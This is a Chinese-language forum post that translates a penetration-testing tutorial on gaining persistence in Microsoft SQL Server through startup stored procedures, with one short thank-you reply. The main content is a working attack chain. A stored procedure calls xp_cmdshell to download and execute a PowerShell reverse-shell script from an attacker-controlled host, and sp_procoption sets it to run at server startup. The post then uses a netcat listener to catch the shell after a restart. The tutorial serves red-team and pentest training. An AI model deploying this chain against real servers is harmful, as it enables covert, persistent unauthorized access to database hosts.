梦幻的彼岸 发表于 2021-9-13 17:35:46

[原创][翻译]MSSQL渗透测试:存储过程的持久化

本帖最后由 梦幻的彼岸 于 2021-9-13 17:41 编辑

原文信息地址:https://www.hackingarticles.in/m ... edures-persistence/
作者:Raj Chandel
日期:2021年9月13日
在本文中,我们将学习在SQL服务器中获得持久性的许多方法之一。这篇文章是对我们的MSSQL渗透测试系列的补充。
获得持久性是执行红队行动的重要步骤之一。当在MSSQL上执行这样的操作时,有可能通过启动存储过程、触发器和注册表项获得持久性。如果您拥有正确用户和数据库的权限,那么很容易实现持久性。如果实例是通过域用户运行的,持久性可能更隐蔽。
当通过启动存储过程获得持久性时,攻击者必须具有sysadmin权限。另一个重要的事情是这个存储过程应该在主数据库中。如果sa不拥有存储过程,它们将没有输入和输出参数,这意味着它们不会与服务器一起重新启动,这将超过持久性的全部要点。
因此,让我们开始,看看如何通过启动存储过程获得持久性。
首先,我们假设xp_cmdshell已启用,因此现在我们将使用以下查询来调用主数据库:
USE master
GO

现在我们将在wget的帮助下,在我们的攻击机器上下载PowerShell one-liner的脚本,如下图所示:

现在在脚本中,在cat命令的帮助下,用您的本地主机和本地端口交换给定的IP地址。切换IP地址后,让python服务器将PowerShell脚本共享给目标机器,如下图所示:

现在,让我们创建一个存储过程,它将从在线python服务器调用PowerShell脚本,为此,使用以下查询:
CREATE PROCEDURE test_sp
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://192.168.1.2/Invoke-PowerShellTcpOneLine.ps1'')"'
GO

现在我们将把这个存储过程移到启动阶段,因为我们希望它在服务器启动时立即执行。我们将在以下查询的帮助下做到这一点:
EXEC sp_procoption @ProcName = 'test_sp'
, @OptionName = 'startup'
, @OptionValue = 'on';

现在,我们在启动时有了存储过程,您可以使用以下查询来确认:
SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;

让我们打开我们的Netcat监听器,如下图所示:

现在只剩下重启服务器了。要重新启动服务器,右键单击它并从下拉菜单中选择停止选项,如下图所示:

然后再次右键单击服务器,并从下拉菜单中选择开始选项,如下图所示:

服务器重新启动后,您将在netcat上有一个会话。

这就是如何使用启动存储过程在本地获得持久性
作者:Yashika Dhir是一名网络安全研究员、渗透测试员、红队队员、紫队发烧友。在Linkedin和Twitter上联系她

飞天 发表于 2021-9-13 21:57:59

感谢斑竹分享技术文章。
页: [1]
查看完整版本: [原创][翻译]MSSQL渗透测试:存储过程的持久化